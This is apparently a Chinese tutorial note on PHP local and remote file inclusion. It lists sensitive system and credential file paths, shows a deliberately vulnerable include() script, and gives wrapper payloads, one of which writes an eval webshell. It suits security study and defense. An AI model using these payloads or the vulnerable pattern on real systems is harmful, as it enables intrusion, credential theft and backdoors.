文件包含

漏洞原理:include()、include_once()、require()、require_once()等函数可以直接以php格式执行包含文件的代码,不受文件格式限制。web应用这些函数,且包含的文件路径是由用户传输参数方式引入,用户访问被包含文件时该文件以php格式解析。攻击者需要知道文件存放的路径才能进行访问。

include():执行到include函数时才文件包含,找不到被包含的文件路径时,发出警告,脚本继续运行
require():只要程序一运行就进行文件包含,找不到被包含的文件路径时,产生致命错误,脚本停止运行
include_once()与require():与上述函数一样,只是若文件中代码已经被包含则不会再次包含

敏感路径

典型:

?page=a.php
?home=b.html
?file=content…

Windows:

C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
C:\windows\repair\sam //存储 windows 系统初次安装的密码
C:\Program Files\mysql\my.ini //mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php 配置信息
C:\windows\my.ini //mysql 配置文件

UNIX/Linux:

/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2 默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP 相关配置
/etc/httpd/conf/httpd.conf //apache
/etc/php5/apache2/php.ini //ubuntu 系统的默认路径

本地包含

1.txt和1.php在同一文件目录下,被包含文件无论什么格式都能解析成php

1.txt:

<?php phpinfo();?>

1.php:

<?php
$b=$_GET['id'];
include($b);
?>

playload:

***/1.php?id=1.txt //返回phpinfo页面

远程包含

条件: 一般 PHP 默认关闭远程包含,开启远程文件包含功能需要在 php.ini 中修改:
Allow_url_include = on、allow_url_fopen=on

playload:

***/1.php?id=http:(文件绝对路径) 

php伪协议

file://:

用于访问本地文件系统

条件(php.ini): allow_url_fopen off/on allow_url_include off/on

file://[文件的绝对路径和文件名]
    file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
file://[文件的相对路径和文件名]
    file=./phpinfo.txt
file://[http://网络路径和文件名]
    file=http://127.0.0.1/phpinfo.txt 

php://filter

用于读取源码并进行bash64编码输出;
条件(php.ini):allow_url_fope off/on allow_url_include off/on

php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码
(针对php文件需要base64编码)

php://input

可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行;
条件(php.ini):allow_url_fope off/on allow_url_include on

php://input + [POST DATA]执行php代码

有写入权限则可以写入一句话木马

php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

php://stdin:

只读,php://stdout 和 php://stderr 是只写的。

php://output:是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

php://fd:允许直接访问指定的文件描述符。

zip://,bzip://,zlib://:

压缩流,可以访问压缩文件中的子文件,不需要传后缀名

条件: allow_url_fope off/on allow_url_include off/on

zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
bzip2://file.bz2
zlib://file.gz

data://

传递相应格式数据,用于执行php代码

条件: allow_url_fope on allow_url_include on

data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://

与zip://类似,同样可以访问zip格式压缩包内容